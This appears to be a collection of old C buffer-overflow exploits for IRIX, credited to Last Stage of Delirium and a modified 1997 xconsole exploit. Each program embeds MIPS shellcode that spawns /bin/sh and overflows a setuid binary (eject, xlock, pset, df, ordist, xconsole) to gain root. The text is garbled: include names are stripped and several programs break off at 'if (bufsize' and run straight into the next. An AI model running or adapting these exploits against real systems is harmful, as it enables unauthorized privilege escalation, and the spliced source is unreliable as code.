--------------------------------------------------------------------------------- /* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ #include #include #include #define BUFSIZE 2068 #define OFFS 800 #define ADDRS 3 #define ALIGN 0 #define ALIGN2 4 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; void run(unsigned char *buf) { execl("/usr/sbin/eject","lsd",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize #include #include #define BUFSIZE 2072 #define OFFS (800+512+128) #define ADDRS 0x100 #define ALIGN 2 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; void run(unsigned char *buf) { execl("/usr/bin/X11/xlock","lsd","-name",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize #include #include #define BUFSIZE 4172 #define OFFS 816 #define ADDRS 8 #define ALIGN 3 #define ALIGN2 1 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; /* char nop[]="\x24\x0f\x12\x34"; */ char nop[]="\x01\x20\x48\x25"; void run(unsigned char *buf) { execl("/sbin/pset","lsd","-s","666",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; /* unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize #include #define BUFSIZE 2061 #define OFFS 800 #define ADDRS 2 #define ALIGN 0 void run(unsigned char *buf) { execl("/usr/sbin/df", "df", buf, NULL); printf("execl failed\n"); } char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } /* this align stuff sux - i do know. */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize #include #define BUFSIZE 306 #define OFFS 800 #define ADDRS 2 #define ALIGN 2 void run(unsigned char *buf) { execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL); printf("execl failed\n"); } char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } /* this align stuff sux - i do know. */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize * 27/5/97 * * _very_ slighty modified by Patrick J..Paulus * */ #include #include #include #include #include #define NUM_ADDRESSES 500 #define BUF_LENGTH 500 #define EXTRA 9000 #define OFFSET 0x180 /* 0x184 for Irix 6.x */ #define GP_OFFSET -0x80 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define PATH_PROG "/usr/bin/X11/xconsole" /* path & program name */ #define PROG "xconsole" /* program */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x03bd202a, /* sgt $4,$sp,$sp */ 0x240203ff, /* li $v0,1023 */ 0x03ffffcc, /* syscall 0xfffff */ 0x23e40138, /* addi $4,$31,264+48 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ }; char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack, tmp; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); if (stack & 0x80000000) { printf("Recompile with the '-32' option\n"); exit(1); } long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]); tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3; while ((tmp & 0xff000000) == 0 || (tmp & 0x00ff0000) == 0 || (tmp & 0x0000ff00) == 0 || (tmp & 0x000000ff) == 0) tmp += 4; for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) { *long_p++ = tmp; *long_p++ = tmp; *long_p++ = targ_addr; *long_p++ = targ_addr; } for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (tmp >> 8) | (tmp << 24); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env); perror("execl failed"); } ===========================================================================